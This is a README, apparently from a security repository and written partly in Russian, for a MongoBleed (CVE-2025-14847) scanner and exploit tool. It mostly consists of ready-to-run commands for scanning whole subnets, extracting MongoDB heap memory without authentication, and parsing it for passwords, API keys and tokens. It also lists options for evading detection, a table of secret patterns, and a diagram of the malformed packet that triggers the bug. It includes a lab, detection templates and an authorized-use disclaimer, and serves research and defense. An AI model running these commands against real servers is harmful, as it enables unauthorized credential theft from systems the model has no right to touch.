
CVE-2025-14847 (MongoBleed) scanner and exploit tool. Unauthenticated MongoDB heap memory leak via zlib decompression. Detection, memory extraction, credential parsing, CIDR/batch scanning, Nuclei templates, and CTF lab included
CVE-2025-14847 Сканер и набор инструментов для эксплуатации
Набор инструментов для исследования безопасности MongoBleed — критическая утечка памяти без аутентификации в декомпрессии zlib MongoDB, позволяющая злоумышленникам извлекать конфиденциальные данные из кучи сервера без аутентификации.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# No external dependencies -- Python 3 standard library only
cd cli
# Detect if a target is vulnerable (default action)
python mongobleed.py -t localhost:27017
# Scan an entire subnet
python mongobleed.py -t 192.168.1.0/24
# Extract memory and parse for credentials
python mongobleed.py -t target:27017 -e --credentials
# Safe mode -- detection only, no exploitation
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Сканер и инструмент эксплуатации из командной строки
│ ├── mongobleed.py # Основной CLI-инструмент
│ ├── requirements.txt # Зависимости Python (только stdlib)
│ └── README.md # документация CLI
├── lab/ # Лабораторная среда CTF на базе Docker
│ ├── docker-compose.yml # Настройка многоконтейнерной лаборатории
│ ├── vulnerable/ # Уязвимые конфигурации MongoDB
│ ├── patched/ # Исправленная MongoDB для сравнения
│ ├── no-zlib/ # Неэксплуатируемая (zlib отключен)
│ ├── monitoring/ # Панель визуализации атак
│ ├── warmup-heap.sh # Заполнение кучи конфиденциальными данными
│ └── README.md # Инструкции по настройке лаборатории
├── nuclei/ # Шаблоны сканирования Nuclei
│ ├── CVE-2025-14847.yaml # Шаблон активной эксплуатации
│ ├── CVE-2025-14847-safe.yaml # Шаблон безопасного обнаружения
│ └── README.md # Документация шаблонов Nuclei
├── docs/ # Учебная документация
│ ├── README.md # Индекс учебного пути
│ ├── 01-fundamentals.md # Основы MongoDB и памяти
│ ├── 02-vulnerability.md # Глубокое погружение в CVE-2025-14847
│ ├── 03-exploitation.md # Практическая эксплуатация
│ ├── 04-detection.md # Охота и обнаружение
│ └── 05-defense.md # Стратегии смягчения
└── README.md # Этот файл
192.168.1.0/24, 10.0.0.0/16:27018)# Check single target
python mongobleed.py -t localhost:27017
# Check with verbose output
python mongobleed.py -t localhost:27017 -v
# Safe mode -- detection only, never sends exploit payload
python mongobleed.py -t localhost:27017 -s
# Show version info
python mongobleed.py -t localhost:27017 --version
# Scan a /24 subnet
python mongobleed.py -t 192.168.1.0/24
# CIDR with custom port
python mongobleed.py -t 10.0.0.0/24:27018
# Scan from target file (CIDR ranges in file are expanded)
python mongobleed.py -T targets.txt -j 20 -o results.json
# Target file can contain IPs, host:port, and CIDR ranges
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extract memory (default offset range 20-8192)
python mongobleed.py -t target:27017 -e
# Custom offset range
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Continuous extraction (Ctrl+C to stop)
python mongobleed.py -t target:27017 --continuous
# Force extraction even if version check is inconclusive
python mongobleed.py -t target:27017 -e --force
# Parse leaked memory for credentials and secrets
python mongobleed.py -t target:27017 -e --credentials
# Parse for tokens specifically
python mongobleed.py -t target:27017 -e --tokens
# Extract printable strings
python mongobleed.py -t target:27017 -e --strings
# Hexdump output
python mongobleed.py -t target:27017 -e --hexdump
# Add delay between requests (milliseconds)
python mongobleed.py -t target:27017 -e --delay 500
# Random jitter on delay
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Safe detection only
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Active detection
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Scan multiple targets
nuclei -t nuclei/ -l targets.txt
# Start all containers
cd lab && docker compose up -d
# Services:
# - localhost:27017 MongoDB 4.4.29 (Уязвимая + zlib)
# - localhost:27018 MongoDB 6.0.26 (Уязвимая + zlib)
# - localhost:27019 MongoDB 8.0.16 (Уязвимая + zlib)
# - localhost:27020 MongoDB 8.0.17 (Исправленная)
# - localhost:27021 MongoDB 8.0.16 (Без zlib - неэксплуатируемая)
# - localhost:8080 Панель мониторинга
# Warm up heap with sensitive data before exploitation
./warmup-heap.sh 27017 50
# Run exploit against lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Цель:
-t, --target TARGET Цель host:port или диапазон CIDR (например, 192.168.1.0/24)
-T, --targets FILE Файл со списком целей (поддерживает CIDR в каждой строке)
Обнаружение:
--detect Определить, уязвима ли цель (действие по умолчанию)
--version Показать версию MongoDB
-s, --safe Безопасный режим - только обнаружение, без эксплуатации
Эксплуатация:
-e, --extract Извлечь память через сканирование смещений
--min-offset N Минимальное смещение для зондирования (по умолчанию: 20)
--max-offset N Максимальное смещение для зондирования (по умолчанию: 8192)
--continuous Режим непрерывного извлечения
--force Принудительное извлечение, даже если проверка версии не удалась
Анализ:
--credentials Разобрать на учетные данные
--tokens Разобрать на токены
--strings Извлечь печатные строки
--hexdump Показать hexdump
Обход обнаружения:
--delay MS Задержка между запросами (миллисекунды)
--jitter Случайный джиттер задержки
Вывод:
-o, --output FILE Выходной файл (JSON)
-v, --verbose Подробный вывод
-q, --quiet Тихий режим
--json Вывод в JSON
--no-color Отключить цвета
Подключение:
--timeout SECS Тайм-аут подключения (по умолчанию: 10)
-j, --threads N Потоки для пакетного сканирования (по умолчанию: 10)
Инструмент ищет в извлеченной памяти следующие шаблоны:
MongoBleed использует уязвимость в декомпрессии сообщений zlib в MongoDB (message_compressor_zlib.cpp). Уязвимый код возвращает размер выделенного буфера вместо фактической длины декомпрессированных данных, что позволяет злоумышленникам читать неинициализированную память кучи.
1. ПОДКЛЮЧЕНИЕ (аутентификация не требуется)
↓
2. ОТПРАВКА НЕПРАВИЛЬНОГО OP_COMPRESSED
┌──────────────────────────────────┐
│ originalOpcode: OP_MSG (2013) │
│ uncompressedSize: INFLATED │ ← Bug trigger
│ compressorId: zlib (2) │
│ compressedMessage: [small data] │
└──────────────────────────────────┘
↓
3. СЕРВЕР ВЫДЕЛЯЕТ СЛИШКОМ БОЛЬШОЙ БУФЕР
[ small real data | uninitialized heap memory ]
↓
4. ПАРСЕР BSON ЧИТАЕТ МУСОР КУЧИ
Раздутая длина документа заставляет парсер читать
за пределами фактических данных в память кучи
↓
5. ОТВЕТ С ОШИБКОЙ УТЕЧКА ПАМЯТИ
"invalid BSON field name 'password=secret123...'"
Данный набор инструментов предоставляется только для авторизованного тестирования безопасности, исследований и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение. Несанкционированный доступ к компьютерным системам является незаконным.
MIT License
| Тип | Пример шаблона |
|---|
| пароль | password: value, passwd=value |
| секрет | secret: value |
| api_ключ | api_key: sk_live_... |
| токен | token: ... (16+ символов) |
| bearer_токен | Bearer eyJ... |
| jwt | eyJ... (Base64 JWT) |
| mongodb_uri | mongodb://user:pass@host |
| postgres_uri | postgresql://... |
| redis_uri | redis://... |
| stripe_ключ | sk_live_... |
| openai_ключ | sk-... (48+ символов) |
| aws_ключ_доступа | AKIA... |
| github_токен | ghp_... |
| slack_токен | xoxb-..., xoxp-... |
| ctf_флаг | FLAG{...} |
| Пункт | Значение |
|---|
| CVE | CVE-2025-14847 |
| Название | MongoBleed |
| CWE | CWE-130 (Неправильная обработка параметра длины) |
| CVSS | 8.7 (Высокий) |
| Тип | Утечка памяти без аутентификации |
| Раскрытие | 19 декабря 2025 г. |
| Эксплуатируется в реальных условиях | 29 декабря 2025 г. |
| Ветвь | Уязвимая | Исправленная |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 |
| 4.2.x | Все версии | EOL - Без исправления |
| 4.0.x | Все версии | EOL - Без исправления |
| 3.6.x | Все версии | EOL - Без исправления |